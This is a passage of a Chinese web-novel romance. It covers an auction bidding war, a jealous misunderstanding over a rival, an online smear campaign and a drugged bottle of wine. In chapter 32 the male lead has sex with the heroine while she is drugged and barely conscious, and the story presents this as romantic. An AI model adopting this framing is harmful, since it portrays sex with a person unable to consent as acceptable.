她眯着眼笑，妙曼身段与玲珑声调简直都要掐出水来。
郗正抬肘，轻描淡写：“三千万。”
沈至风甩开沈军牵制的胳膊，大声追上：“四千万。”
已经有来宾开始放肆发言：“炒到这么高至于吗？这瓶酒哪有这么名贵。”
边上的人解释：“你懂什么，戴安娜在港圈现在可是大红人，要是真能和她有什么，那价值可不是几千万。”
戴安娜将这些人的赞美都听进耳中，妖娆风情在跳跃的灯光里愈发迷幻。
郗正冷眸一掀：“五千万。”
满场陷入哗然唏嘘之间，大家看看这个陌生男人，又看看本场主人席的沈至风。
前者淡定无比，后者已然坐不住。
或许是金额实在超出原本预期，又或者是骑虎难下的状况，沈至风这一次加价，显然没有方才坚定：“六、六千万。”
“七千。”
沈至风：“……”
他浑身一滞，艰难开口：“…八千万。”
这时候认输，实在太丢人了。
可事情已经激化成这样，慢慢清醒过来的他已经意识到自己捅了娄子，别说这瓶酒不值这个价，为了胜负欲把郗家逼到这么大金额的对垒中。
他不敢细想，要是因为这件事和郗家闹出问题来，也不知道能不能顺利化解。
沈至风胆怯地看向边上的座椅，想征求父亲的建议，然而他却看到边上的凳子已经空无一人。
沈军竟然因为不愿意面对这种局面，直接离开了会场。
沈至风知道现在才愣住了，可一切来不及了。
他恍如冰霜披身整个人僵在原地，手中写有1号代表着主角的牌子，现在就像个笑话一样存在于他的手中，他举也不是，收也不是。
直到郗正的声音再度从不远处传来：
“一个亿，结束吧。”
这下全场彻底炸了…
什么情况，还能自己加价的吗？
郗正高中毕业就去当了刑警，不沾圈子十来年，若非冷嫦想来，他这次也未必会出现，而今参加这样的活动，不为身份不为地位，仅仅是为了心中那个最原始的动机。
他想要。
至于为什么想？
他低头，看到冷嫦的脸上青白一片，写满了震惊和疑惑。
台上和台下的人同样兴奋，纷纷在三锤之后庆祝今晚的巨大成交额，戴安娜更是走到舞台边缘，对郗正发出邀请：“今晚十二点，来我房间，我们一同共饮可好？”
迷离的目光，全是情丝缠绕，所有人掌声庆祝这令人遐想的夜晚。
五颜六色的灯光在场内穿梭，却见冷嫦沉着脸，满眼委屈地看着郗正：“你宁愿花一个亿，也要和她见面？”
郗正：“？”
30. 太太风云
郗正的沉默，让冷嫦更觉酸涩。
一个亿，好大的手笔，真是为佳人一掷千金。
“郗正，我在房间等你。”戴安娜姿态优雅的退场，但扫向二人的目光里，写着胜券在握。
冷嫦满肚子的话想说，但想到戴安娜满是撩拨意味的暗示，和郗正万年不变的表情，更是心气堵得慌。
本来还猜郗正此番愿意前来的目的，有没有因为自己的原因，看来想多了，是因为戴安娜。
也是，当初在校时，这两人便是传出各种绯闻来，更别提戴安娜如今身家雄厚，有几个男人会不爱呢。
“今天你来也是为了戴安娜吧。”冷嫦微微低头，但声音里已然夹杂了几分怨气。
郗正面上无波无澜，但电光火石间已经明白。
“不是你想的那样。”郗正难得轻下声音，解释了一句，他往前了一步，但注意力又转移到冷嫦只穿了件单薄长裙，夜晚风大，她该添衣，郗正捻了捻手指。
这边的小插曲引起了周围人的好奇打量，郗正目光沉冷的回望过去，逼退一干看好戏的目光。
这边冷嫦退后一步，整理好情绪，语调带上几分冷意：“快去拿你的酒吧，可别让人家久等了。”
话落，踩着脚下的高跟鞋哒哒哒的走远了。
丝毫没给郗正反应的机会。
郗正：“？”
抬步欲追，但想到那瓶冷嫦看起来十分在意的酒，郗正思来想去，还是掏出手机发了一条消息后，才不紧不慢的向戴安娜留下的房间号走去。
时间悄然走到了十二点。
戴安娜的房间里。
本就奢华舒适的房间被精心布置了一番，烛火摇曳，玫瑰香薰在桌上散发出香气，暗香朦胧。
戴安娜换上了一条火红的紧身吊带长裙，勾勒出完美的曲线，浓密的秀发散在脑后，略微昏暗的灯光打在身上，平添几分暧昧。
这一切都是戴安娜的有意为之。
拍出天价的酒静静的躺在红丝绒托盘里，搁置在茶几上，旁边是玫瑰百合郁金香插花，浮雕的花瓶很有质感。
“咚，咚，咚。”房门被克制的敲响。
戴安娜打开门，看到门口身形英挺的男人，唇边笑意不由得加深几分。
“好久不见啊，郗正。”
郗正颔首，并不搭话，只问道：“酒呢？”
戴安娜并未预料到郗正会是这副态度，于是微微侧身让出空来：“在里面，不过，你要自己来拿。”
郗正并不废话，他只想拿到酒后立刻走人，冷嫦自己一个人不知道走到了哪里，这座庄园很大，很容易迷路，万一冷嫦遇到什么事，自己都不能及时在身边。
郗正目标明确，但这边手刚碰上瓶身，戴安娜已经关上了房门，走到了他的身边。
馥郁甜腻的香气传来，郗正毫不掩饰的皱眉，侧身。
“真冷漠啊，跟以前一模一样。”戴安娜掩唇轻笑，眼光一转，话题落在了别处：“你今日带来的那个小明星，是我们以前的学妹吧，倒是令人惊讶，以我对你的了解，你应该不会喜欢这种小明星吧。”很明显的试探意味也有很明显的轻视。
郗正拉开和戴安娜的距离，听到此话，眉梢微微一动，本就冷肃的面容此刻更是覆上层寒霜：“戴女士，首先这是我的私事，与你无关，第二，她叫冷嫦，是我太太，我希望你说话的时候自重。”
郗正说到最后两个字的时候，声音明显变重。
闻言戴安娜一愣，本以为只是女伴，结果，郗正竟然已经结婚了？
戴安娜收紧了十指，她对冷嫦也是有印象的，在校时，他们也算是风云人物，就算不特意关注也会听到什么风声，更别提，冷嫦的确有着一张同样对异性充满吸引力，足够令她跨阶级的脸。
但她也不是三言两语就能使其变脸的人物，往前略走了两步，指尖轻触在冰凉的酒瓶上，抬眸看着郗正，眼里似有情意绵绵：“你的太太，好像也想要这瓶酒？”
戴安娜抬手抚了一下秀发，对自己的魅力很有信心，这个圈子里，干干净净才是异类，她不信郗正毫不动摇。
“这瓶酒并不算顶级，我有几瓶收藏，涩中回甘，余味悠长，很适合你。”
郗正盯着她眼里的缱绻流光，满是思虑心眼，始终缄默不语。
戴安娜又往前走了一步，双手大胆的想要去搂着住郗正，裙子紧贴在她身上，更显得她性感迷人。
郗正反应极快，并不给面子，长腿一跨，二人的距离又拉开了。
戴安娜被男人的不解风情也弄的有些羞恼了，但看向郗正的瞬间，又觉得没什么关系。
像郗正这种样貌，家世，才华样样出众的男人，到哪里不是人群的焦点，无数人拥簇，有狂蜂浪蝶追着是肯定的。
所以对于冷嫦的判断愈发笃定——靠脸上位的小明星。
“我们很久没有见过了。”戴安娜轻声细语道，她很清楚自己的优点在哪儿，“当初我们在一个班，总有传闻说我们般配。”
戴安娜像是陷入回忆，酒不醉人人自醉：“很多话其实当时没有及时能说出口，现在还来的及吗？”
年轻的时候不懂事，没发现响当当的人物藏在学校里，只想着飞升港圈，现在兜兜转转又回来了，谁说不算一种缘分呢》说着戴安娜好像情绪激动一般，往郗正靠去，但脚下不稳，身体不由自主的朝郗正倒去，郗正抬手抓住戴安娜的手腕令其稳住身体后，迅速收回了手。
戴安娜盈盈一笑：“多谢。”
“我们的交情也只有同窗之谊，以前没有，以后也不会有。”郗正目光冷静而又沉稳，没有一丝一毫的动摇。
闻言，戴安娜神色失落：“本来还想和你叙叙旧，毕竟多年没见，你我还是同学，现在看来倒是我有些自作多情了。”
美人失落，怜香惜玉的男人都忍不下心，郗正是个例外，也不多言，打开房门走了出去。
看着合上的门，戴安娜在沙发上坐了片刻，抬手拨弄娇嫩的花瓣，从挤挤挨挨的花束中取出了一枚小巧的监控，链接上电脑，自动播放出刚刚发生的一切。
戴安娜敲击键盘，从中截取出了自己想要的画面。
看着画面中的身影交错暧昧的两人，戴安娜勾唇，眼里满是势在必得。
*
冷嫦走的时候气势汹汹，等夜风打在身上的时候，脑子瞬间清醒了几分，虽然某个男人真的让她不高兴了，但此时她更应该考虑的是那瓶酒，自己的任务目标该怎么办。
想到价值一个亿的酒，冷嫦心情沉重了几分。
太贵了，如果要从郗正的手里买回来，她掏得起也不会甘心。
思路彻底纠结了，冷嫦专注于思考下一步该怎么办，不知不觉间竟走出去了很远的距离。
等冷嫦反应过来灯光没有之前那么恍如白昼时，已经迷路了。
这座庄园占地面积极大，树木葱茏，各处设有可供观赏或休息的小庭院，青石路打扫得干干净净，半人高的木丛修剪的整整齐齐，几颗乳白色的灯球安插在各处不起眼的角落，幽幽发出柔和的光芒。
冷嫦深吸了一口气，开始翻找手包里的手机，走了许久，腿脚都有些酸胀了，看到木丛后的长椅，冷嫦提起裙摆，轻巧坐下了。
刚拿出手机来，隐约间仿佛听到有谁再说话。
冷嫦心里一惊，调暗了手机屏幕，开了静音，放轻了呼吸，缓缓的，俯下身，借由木丛遮挡住身形。
特意在无人角落讨论事情或者打电话，无非几种原因。
第一，不愿被人知晓，第二，事情见不得光。
但不论哪一种，冷嫦都不想先暴露自己。
是个男人。冷嫦聚精会神的听了一会。
直觉的趋势下，她再次拿出手机，摁下了录音。
因为距离的原因，冷嫦听到的并不清晰，只有模糊的几句还算清楚。
饶是如此，冷嫦也是将手机努力挨得更近一些，力求将所有声音都保存进去。
哪怕只有只言片语或是含糊不清，也许某一天就会发挥出意想不到的作用。
“你知道的……对……”
“是那个孩子……”
“……处理掉……在……”
“…西城，200里外……”
冷嫦听出来了，是沈军的声音，顾不得多想，冷嫦听到那边似乎是挂断了电话，断了说话声。
冷嫦谨慎的等待了几分钟后，才起身，往那边看去，已经没有人了，冷嫦慢慢走过去，脑海里回想着听到的零丁的一点信息。
“冷嫦？”不远处的来人传来一阵惊呼，似有惊讶。
冷嫦回头，居然是沈至风站在花园长廊处，他来的时候碰上沈军了吗，现在看到我回去会不会告诉沈军？
冷嫦顿时绷紧了神经。
“原来是你啊，沈至风。”冷嫦先声夺人，“怎么没回到你沈大公子的专场去呢，不跟在你父亲的身后，怎么跑这里来了？”
拍卖会结束后，沈至风便去换了一身半敞开的修身西装，他长的的本就人模人样，尤其是有价格昂贵的衣服一衬，倒是有了几分贵公子的味道。
“呵，”沈至风冷哼一声，完全没发现冷嫦话语的深意，“在我的庄子里乱逛，倒不如说是你在找我吧。”
沈至风以为冷嫦是来炫耀的，毕竟刚才那个男人，可是力压众人，一个亿的交易金额可是震惊全场。
冷嫦淡笑不语。
但就是这种姿态愈发令沈至风感到不爽，想到拍卖场发生的事情，本该属于自己的高光时刻被郗正抢了不说，自己还因为冷嫦出现了足够难堪的闹剧，真是，越想，越是郁气难消。
沈军的话又浮现在脑海里，沈至风嘲讽的问道：“怎么，你那位挥金如土的丈夫怎么没在呢？”
冷嫦抿唇，心里难受了片刻，脸上却仍是那副从容姿态：“沈大少爷，再恩爱的情侣也不能24小时的全方位的黏在一起不是？你总是这么关注的我的生活，会让我觉得……”
后面的话冷嫦没有说出口，只是那微笑的模样落入沈至风的眼中是那般扎眼。
沈至风几乎满怀恶意的开口：“谁知道你是怎么攀上郗家的，前脚拒绝了我后脚就勾上郗正，你也就这点伎俩了冷嫦。”
顿了顿
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，又道：
“不过有戴安娜那样的美人在侧，你还能得意几时？今晚你那丈夫为了她一个亿都掏了，你就等着被抛弃吧，到时候呵呵……。”这么说着，沈至风又昂起头。
莫名的自信仿佛重新回到了手中，沈至风理了理袖口，目光打量意味很明显的在冷嫦身上扫视。
沈至风笑容狂妄，语气是居高临下的施舍：“你求我怎么样，等你离开了郗正，我也不是不能帮帮你。”
冷嫦横眉冷对，字字珠玑：“沈大少爷还是管好自己吧，毕竟拍卖会上可是出了好大的丑呢。”
冷嫦下巴微抬，毫不留情的反唇相讥：“论起背景，郗家比你沈家高出不知多少，你沈大公子，也应该尊称我一句，郗夫人。”
嘴上这么说，但冷嫦心里还是默默说了一句，郗正原谅我借用下郗家的权势压人。
“好，好，好！”沈至风气的鼻子都快歪了，连声说了三个好，长这么大，也就只有冷嫦敢这么跟自己说话：“好一个伶牙俐齿。”
冷嫦幽幽叹了一口气，她也是看明白了，沈至风有些偏执了。
向来众星捧月的公子哥一朝遇到挫折，可不耿耿于怀，很不巧的是，目前自己是他的首要目标。
一番交谈，冷嫦也达到了目的，沈至风没有看见沈军，他的注意力全放在了自己和郗正的婚姻关系上，也就是说，相比起跟沈军说明情况，他更可能会想方设法的污蔑自己。
算是不幸中的万幸，毕竟当初沈军对冷嫦的敌意，冷嫦可没忘。
夜色深重，远处的灯光也在慢慢消退，冷嫦顺着脚下的青石路，快步返回，终于回到了宴会厅门口。
拍卖会落下帷幕已经很久了，宴会也走到了尾声，一般设于晚上的宴会或者拍卖大多数会提供住宿，而此时豪华的宴会厅里人已经所剩无几了。
冷嫦余光看到沈军坐上一辆黑色的车子，当下立断就要追上去。
只是令冷嫦没想到的是，沈至风居然跟上来了。
冷嫦惊讶的睁大了眼。
沈至风挡在冷嫦面前，面带怒意：“你别跑！”
眼看着车子力即将跑出视线，冷嫦也有些急了：“沈至风，你让开！”
冷嫦并不想起争执，努力平和语气：“有什么事下次再说，我现在很忙。”
“冷嫦，别得了便宜还卖乖，我们之前还有帐没算呢……”沈至风冷笑。
这边闹出的动静不算小，场内零散的几个人目光被这两人吸引了过来，小声的窃窃私语，偶尔有几只手还对着这里指指点点。
沈至风见有人关注到了这里，声音也扬起了不少：“能进入这场拍卖会是你的荣幸，只可惜，你的出现不知道让多少人没那么愉快。”
冷嫦满心不耐，看到黑车缓缓驶走了，被拦住的冷嫦只能努力记住车牌号。
再看沈至风，冷嫦眼角眉梢都是毫不掩饰的厌恶。
“沈至风，既然你说你我是两个世界的人，那麻烦你以后能够跟我保持距离，井水不犯河水。”冷嫦不卑不亢，“你现在所做的每一件事都只会更加掉价，且更让我看不起。”
沈至风闻言握紧拳头，脑子里像是有把火嗡的一下烧起来了，烧的理智所剩无几。
“你以为你算什么，暴发户的女儿，运道好攀上了郗正。”沈至风神色阴鸷。
懒得和没脑子的人讲道理的冷嫦掏出手机翻看着，看到了一条许久未读的消息，点开看完后，不知该笑还是该生气。
是郗正的消息。
【司机已经在门口等着了，车上有外套。】
的确在等下去也不过是浪费时间，完全没有必要，还是先回去的好，而且看过消息冷嫦才后知后觉的感到几分寒冷之意。
想到这，冷嫦一把推开沈至风，往外走去。
沈至风回过神来，跟了上去。
庄园外。
两个身穿黑衣黑裤头戴黑色鸭舌帽，举着相机的男人百无聊赖的打着哈欠，昏昏欲睡。
“这么晚了，还能有人出来吗？”一个看起来瘦瘦小小的男人小声嘀咕。
“肯定有，再等等。”身旁高大一些的男人举着相机对准庄园的门口，严阵以待。
“哎，真是羡慕这群有钱人，豪车美女要什么有什么。”瘦小的男人感叹道。
忽然，门口出现两道身影。
一道银白窈窕的身影走在前方，身后是西装革履的男人，两人似乎在说着什么，其中男人还在试图拉扯女方。
“快！”男人对着二人一通狂拍，还不忘催促同伴。
瘦小的男人举着相机咔嚓咔嚓的连拍数十张。
等二人各自上了车彻底不见了后，瘦小的男人翻看着这些照片，语气兴奋：“大新闻啊，沈至风是这场拍卖会的发起人，冷嫦这种咖位是怎么去的，你看他俩拉拉扯扯的样子，一定有猫腻！”
身旁的男人收拾好东西，听到这话不住的点头：“没错，把这个消息放出去，我们就赚大了！”
“我这就发！”
随着这些照片发送给不同的账号，微博安静了许久的冷嫦话题，再一次出现在热搜榜上。
31. 冰度甜蜜
这注定是个喧闹的夜晚，摆脱了沈至风的纠缠，冷嫦才慢吞吞的提着裙子上了车。
车上。
暖和的温度将寒意一扫而空，后车座上，郗正在闭目养神，身旁是一件黑色的厚实大衣，这件应该就是郗正说的外套了，冷嫦想。
司机透过后视镜，笑呵呵的对冷嫦道：“少爷特地让我提前准备的。”
话里话外都是替某人拉好感的程度。冷嫦只是礼貌的对司机笑笑，并不搭话。
而那件风衣外套，冷嫦是碰也没碰。
这是什么意思？冷嫦心里想，侧头看向窗外渐渐远去的风景，搭在膝上的手缓缓握紧。
他到底什么意思？如果真的在意自己，为何会场里又要要为戴安娜豪掷千金。
冷嫦越想越觉得委屈，烦躁止都止不住，更是理都不想理身旁面带思索的男人。
冷嫦的沉默，令郗正也不由得侧眼看去，但冷嫦只留给他一个弧度漂亮的后脑勺。
郗正抿唇，觉得自己应该说些什么：“……酒……”
“我知道。”冷嫦回的很迅速，但依旧头也没回，语气显得十分冷淡。
郗正本就是不善言辞的类型，仔仔细细思考了一番，想到拍卖会结束后发生的一切，决定还是先把戴安娜的事情解释清楚。
“……那评价。”郗正斟酌了一番慢慢开口：“其实……”
“打住！”冷嫦终于舍得转过头来，素白纤细的手在黑夜里显得莹莹如玉。
“我现在不想听，也对你们之间的故！事！不！感！兴！趣，先生不用对我解释。”碍于司机在场，假结婚的事不能败露，冷嫦只能面无表情，用词婉转，只是她没发现，那眼底的不满简直要溢出来了，被郗正完完整整的收尽眼底。
郗正神色绷得更紧了。
空气此刻宛如凝固，令人窒息。
司机悄咪咪的将音乐声音调小，再调小，一句话也不敢说。
郗正从未有哪一刻如此清晰的感受到冷嫦的拒绝疏离，一瞬间另他不知所措。
一定是生气了吧。郗正小心翼翼的去看冷嫦的脸色，雪白通透的小脸神色恹恹，嫣红的唇紧抿着，眼神落在鞋尖上，像是在发呆。
郗正欲言又止，思来想去，觉得自己还是得有必要说清楚情况，戴安娜并不是什么省油的灯，如果可以，冷嫦离她远点最好。
“戴安娜她……”郗正沉声开口，殊不知一张嘴就是雷点。
冷嫦额角隐隐作痛，她现在的心情，十分的不悦，各个方面，而且某人还在不停的在雷区蹦哒，也就是这个人是郗正，否则冷嫦绝不会比现在更耐心。
“我明白，我清楚，你想说的我都懂，我现在只想安静，谢谢你为我准备的外套，我很感谢，但是可以请你先不要说话吗？我真的有点累。”
她不想表现得，那么，无理取闹。
冷嫦冷冷的想。
郗正沉沉的吐出一口气，眉宇蹙起，修长的手指轻轻捏了捏眉心。
对于冷嫦的小脾气，郗正并不觉得麻烦或者是无理取闹，他不会对冷嫦的失态而觉得厌烦，他只觉得自己是哪里做的不够好，哪里不够令人满意。
从未有过情人和爱侣，哪怕是交好的女性朋友也是屈指可数的郗正，头一次感觉到了棘手。
该怎么让冷嫦重新变得开心，成为了郗正此时的首要目标。
一时间，车里再度沉寂了下来。
“叮咚——”
是冷嫦的手机提示音响起。
冷嫦打开手包，拿出手机，翻开消息。
郗正下意识的侧过头去，防止自己误看到消息。
随着消息一条条盛喷泉式的暴发，冷嫦的脸色也从漫不经心变得眉头皱起。
此时的，微博头条，置顶血红的爆字显眼无比。
超话：【扒一扒某L姓明星的上位史】
底下评论
【火速前来吃瓜。】
【搬好小板凳，请博主速速讲解。】
【对个暗号，是不是女明星，名字里带lc，吃瓜.jpg】
【哎呀，博主你都过时了，上面有个头条都爆完了。】
等评论超过1w+后，博主才不紧不慢的开始细数着每一个事件。
【众所周知，某位女明星咖位不高，但命却挺好，总有贵人相助。】
回复评论：笑死了，总有～贵人～相助～（扭捏）
【且每一个都是非富即贵，背景深厚！】
回复评论：你这指示太明显了，我敢说我来说，就是有金主！
【好比某位杨姓影帝，总是能恰到好处的，英雄救美！】
回复评论：要说没什么，我都不信！怎么会就那么巧！
【这是我花重金拿到的独家新闻，现在免费给大家看下。】博主发出了九宫格各种角度冷嫦和沈至风的图片。
底下评论：
【我去！竟然有图？！这是实锤？】
【六啊六啊，还有么，摩多摩多，果然这瓜就该我们熬夜星人先吃】
【这男的谁啊？我不认识，不懂。】
博主又解释了沈至风的身价，尤其着重的介绍了那亮眼的家世。
而如今，冷嫦一个堪称十八线的小明星和这种豪门公子哥拉拉扯扯的原因能有什么，可别说什么交个朋友，成年人懂得都懂。
【我！就！知！道！这个女人我每次看都觉得一脸心机。】
【这是攀上富豪想要嫁入豪门？后面不会有什么母凭子贵，逼宫上位吧，指指点点.jpg】
【别啊，虽然这么做的确不好，但起码演技还行，不会到时候退圈吧？！惊恐.jpg】
【楼上还是太甜了，这个时候还在想退圈……】
【跟杨影帝一边不清不楚，现在又勾搭上富豪，真恶心，路转黑了！】
见火已经烧起来了，博主满意的笑了笑，不再回复任何消息，任由舆论发酵。
网络上热火朝天，冷嫦翻看着评论的手指确是冷的刺骨。
但冷嫦很冷静，看过一条条评论后，对于网络上的那些攻击，冷嫦虽然有些难过，但也不至于会被伤害到，早在踏入这个圈子的时候，冷嫦就做好了，人云亦云，人言可畏的准备。
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唯一令冷嫦自责的，是将杨晋再一次给扯进了这场风波里，现在网上不仅有骂自己的，也有一些不明所以的跟风攻讦杨影帝的评论区。
冷嫦握着手机的指节微微用力，想到的都是转发造谣超过500是要判刑的……
一旁的郗正似有所感的看了一眼冷嫦，也拿出了手机，片刻后，在屏幕前敲敲点点。
不知不觉间，车子停住，江边的大平层自动识别到主人，大门缓缓敞开。
冷嫦先一步下了车，不顾冷风，径直往卧室走去，便自然也没看到后面的郗正探出的手上，拿着风衣。
冷嫦先一步进了浴室，郗正不好去打扰，将拍来的酒递给佣人，告诉将其放在酒柜后，用手机给冷嫦发了一条短信：“等你收拾好，我有话说。”
换衣服的冷嫦看到了这条消息，生了很长一段时间的气终于有些缓解了，随即去了浴室。
而郗正前脚发完消息，后脚一个电话不约而至。
郗正接通电话，对面说的内容令郗正神色严肃，挂断电话的下一秒，又捞起衣服，大步向外走去，走之前还告诉阿姨做点海鲜粥，到时候给夫人送去。
等冷嫦洗完澡换上舒适的睡衣，发现客厅里竟空无一人。
冷嫦和郗正都不是那人伺候的主，阿姨是前些日子她实在想的紧，才盼来的，所以此刻屋内只留了阿姨一人照顾起居。现在阿姨去忙了，偌大的客厅，就剩冷嫦自己孤零零的坐在沙发上。
冷嫦双目紧闭，脑海里浮现出今天发生的一切，想到失败的任务，想到戴安娜，想到郗正，又想到热搜上的事情，内心里翻江倒海，各种滋味糅杂在一起，根本平静不下来。
冷嫦睁开眼，目光落在了酒柜上，随心而动，冷嫦打开酒柜，看也不看拿的是哪瓶酒，用开瓶器打开酒塞，管他醒不醒酒，直接仰头喝了一大口。
借着升腾的酒意，冷嫦拎着酒瓶，脚步踉跄的走上了顶层，那里有一整面墙的落地窗，窗外是繁华的城市夜景，哪怕是深夜也是车流不息，灯光绚烂，仿佛外面的世界精彩纷呈，根本不会有任何烦恼。
和冷嫦郁郁寡欢的心情简直天差地别。
“哈，哈。”冷嫦只手盖住眼，透明的水迹没入鬓角。
此时的冷嫦已经什么都不愿再想，眼神迷离的看着酒瓶，又是一口酒下去，酒意醉人。
静静的待了几分钟，冷嫦被酒精麻醉的大脑反应过来一丝不对劲。
好，好热……
冷嫦不自觉的扯了扯领口，一种从未有过的感觉蔓延到全身。
冷嫦脸蛋酡红，强撑着模糊的意识回了卧室，找到了手机。
这种情况下，冷嫦第一个想到的人就是郗正。
电话拨出去，响了没有两秒钟就被接起。
郗正接通电话，就听见对面传来冷嫦似泣似怨的声音：“郗警官……”
郗正屏息，第一时间发现了冷嫦的不对劲：“怎么了？哪里不舒服？”
“我好热……好难受，你救救我，救救我……”
声音越来越小，直至被冷嫦炙热的喘息声淹没。
32. 冰度甜蜜
郗正用了最快的速度赶回了家里，凭借着经验，刚踏进家门的郗正就注意到了打开的酒柜，心里有了些许猜测。
郗正大步往卧室走去，隐隐闻到了醇厚的酒香。
一般来说，越是醉人的酒，香气也会更加浓重，郗正往卧室赶去的途中，猜测冷嫦是否喝了过量的酒。
刚一打开卧室门，郗正只觉眼前一花，怀里多了具柔软馨香的身体，是冷嫦。
“你…怎么才回来……不，你竟然……真的会来。”冷嫦眼眶红红的，甚至发丝都还是湿的，贴在身上，表情幽怨，像是勾人心魄的妖精，手里还撕扯着郗正的衣服，哪怕那力道小的微乎其微。
郗正呼吸一滞，但没有什么比冷嫦的健康更重要，尤其是冷嫦现在的表现可不像是仅仅喝醉了酒。
郗正伸手握住冷嫦细瘦的手腕，很认真的感受着脉搏的跳动，果不其然，节奏过于猛烈了些。
再一看冷嫦，已经闭上了双眼，无力的瘫坐在地，呼吸急促，但脸色如白纸，身体一阵阵的痉挛颤抖，眼皮下眼珠不停转动，像是陷入了惊厥。
郗正不敢贸然的伸手动摇，但这明显的症状令郗正觉得熟悉极了，电光火石间，郗正突然明白了。
上司发给自己的一项调查任务里，有一项是药品调查，有一种来源不明成分复杂，但威力巨大的药剂在市面上隐晦的流通，郗正的住址靠近事发地点，加上本就能力卓越，当仁不让的被安排了调查任务。
而那只药剂最典型的症状便如此时的冷嫦一般。
这种药剂都会先令人身体虚弱，随即透支巨大的生命力，最后连死都要在疯狂一波。
可惜的是目前并没有这种药剂的解药，只有能压制七八的特效药，这种特效药每一粒所需成本都是普通人无法想象的，哪怕是郗正手里目前也就只有两粒。
郗正心里庆幸，想明白以后，迅速从床头柜里，拿出一个只有拇指大小的玻璃瓶，里面有两粒红蓝色胶囊。
郗正倒出一粒胶囊，扶着已经半昏厥过去的冷嫦，试图将药塞进嘴里。
但费了好大的劲，还是没能成功。
郗正咬紧牙关，余光看到床头柜上的水杯，顾不得多想，迅速将胶囊扔进嘴里，然后含了一口水，碾磨开冷嫦温热的唇瓣，缓缓渡了过去。
幸运的是，这次冷嫦乖乖的把药咽了下去。
吃了药，就起码保证没什么大碍，郗正放下了心，这才敢抱起冷嫦，放到了床上。
冷嫦的衣襟微微散开，可以清楚的看到优美的锁骨和更加起伏的曲线，深色的床铺衬得冷嫦肤色莹润，乌发如墨，渐渐变得平静的睡颜美好的令人眷恋。
郗正将被子给冷嫦盖好，寸步不敢离，见冷嫦逐渐好转，才敢松一口气。
过了大约二十分钟左右，冷嫦醒了过来。
难以言说的感觉，令冷嫦喘不过来气，灼热感如影随形，想要渴求什么的感觉更是折磨万分。
冷嫦在床上翻滚了两圈，衣角往上卷起，雪白修长的双腿，不安的摩擦着床单。
“热……好难受……”
郗正也是个正常男人，尤其是面对自己心爱的姑娘这般诱惑的模样，只得狼狈的将冰冷的水全都急忙灌进喉咙。
“哪里不舒服？”郗正坐在冷嫦身侧，怕她着凉便将被子一遍又一遍的盖在冷嫦身上，只是全都被冷嫦给踢开了。
“郗警官……”冷嫦眼神恍惚，气息滚烫，白玉似的肌肤浮现出一层绯红，宛如一条美女蛇一般，痴缠在郗正的身上。
郗正眼神发烫，试图回避每一次目光的交错，可冷嫦还不自觉的在他身上蹭啊蹭，屋内瞬间染上一层欲色。
“等等！”郗正急忙扶好冷嫦，身体反应让他□□，但话还没说出口，冷嫦已经再度贴身而上，红唇柔软的像云一样，覆上那薄唇。
郗正压抑了许久的欲望和情感在这一刻终于彻底爆发了，翻身将冷嫦压在身下，一只手钳制住冷嫦的双手，一只手扼住冷嫦的下巴，迫使她合不上唇。
“对不起，对不起……”郗正轻轻啄吻着冷嫦的脸蛋，“这一切都是我的错，你想怎么怨我都可以。”
明知双方不能逾矩，明知他之所以建立伪婚约关系就是为了禁锢彼此距离，明知他的动心只会伪冷嫦带去烦恼，可是在压抑这些年的爱意趋势下，他仿佛，也快碎了。，
郗正埋在冷嫦的颈间，深一口气，再次道了声：“对不起。”
指尖下滑，扯开衣带。
顿时，满室春意。
*
翌日。
房间内的大床上已然焕然一新，深色的床单换成了浅色，冷嫦正睡得香甜。
“咔哒——”
房门打开，郗正穿着休闲的家居服，走了进来，摸了摸冷嫦的额头，将鲜香浓稠的海鲜粥放在了床头柜上。
冷嫦本就有要醒的征兆，这番动静，哪怕郗正动作再小，也迷迷糊糊的醒过来，看到床边的人影。
“还早，你在睡一会儿吧。”郗正指尖在冷嫦的脸颊上拂过，趁着人还没那么清醒，低头在毛茸茸的发顶吻了一下。
动作珍惜又小心翼翼。
冷嫦没有听清，虽然身体疲惫但很干爽，脑袋还有点沉，又闭上了眼渐渐睡去。
郗正在旁边看了许久。
将冷嫦贴在脸上的发丝拨弄开，眼神一暗，想到昨晚那美好至极的一夜，哪怕只是偷来的。
“等你清醒了，应该会怪我吧。“郗正声音低的仿佛能碎在空气里。
但还有更要紧的事。郗正目光一凛，替冷嫦盖好被角，轻手轻脚的出了房门。
早上郗正从阿姨的嘴里知道了冷嫦喝的酒是从拍卖会上拍下的那瓶酒，便让其将酒瓶好好收起来，不准扔掉。
如今酒瓶就摆放在餐桌上。
郗正思索了片刻，先拨通了联系上级的电话，随即让阿姨将酒瓶装好，等他出门的时候提醒他带走。
钟表滴答滴答的转动，不知不觉间已经12点多了，郗正估摸着冷嫦此时应该已经醒了，便吩咐上菜。
楼上。
从睡梦中清醒过来的冷嫦坐起身，发现身上的衣物已经换了一套，身上清清爽爽的，没有什么不适。<
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昨晚的记忆在此时反扑过来，冷嫦想起了自己是怎么诱惑郗正的，还有郗正晃动的下颚和汗湿的头发，顿时脸色爆红。
将头埋进了被子里，无声尖叫。
缓了缓心神，冷嫦也察觉到昨晚的异常应该是和那瓶酒有关。
但冷嫦被郗正喂药的记忆确是一片空白的，可冷嫦也发现了一个问题，郗正是如何令自己清醒过来的呢。
想了半天也想不出什么，冷嫦起身换好了衣服，将头发扎成马尾，下楼的时候难得有些不好意思。
冷嫦脚下轻快，心里思忖，和郗正目前也算是更进一步了吧，那……
刚踏进餐厅，就见郗正背对着自己站在窗边，正在通电话。
“你约个地方吧。”郗正淡淡道。
冷嫦敏锐的听到了那边传来一个女人的娇笑声，似乎说了什么，郗正回复：“好。”然后便挂了电话。
转过身看到冷嫦顿时一愣。
冷嫦心里止不住的下沉，她听到那个人是谁了，是戴安娜。
“先吃饭吧。”郗正说，还替冷嫦拉开了椅子。
冷嫦深吸一口气，感觉灌入胸腔里的只有冰冷又窒息的水。
勉强对郗正笑笑，坐下来开始用餐。
还是不舒服？郗正看了一眼冷嫦，但没有出声。
餐桌上，只有碗筷碰撞的声音。
冷嫦原本还期待着郗正的解释，谁知郗正一言不发，丝毫没有说话的意思。
冷嫦捏着筷子的手微紧，这是什么意思，他要去找戴安娜是吗。
郗正吃饭的速度向来很快，在填饱了肚子后，起身对冷嫦道：“我有点事情要忙，你吃完饭就先去休息吧。”
给上级通过电话后，上级拍板让郗正将酒瓶拿来检查，并让郗正跟带来这瓶酒的人，也就是戴安娜进一步接触。
郗正并不想和戴安娜有过多的接触，但是任务面前，私人情绪并不重要，更何况，这关乎着更多人的生命，容不得马虎。
因此，才有了郗正和戴安娜通电话的一幕。
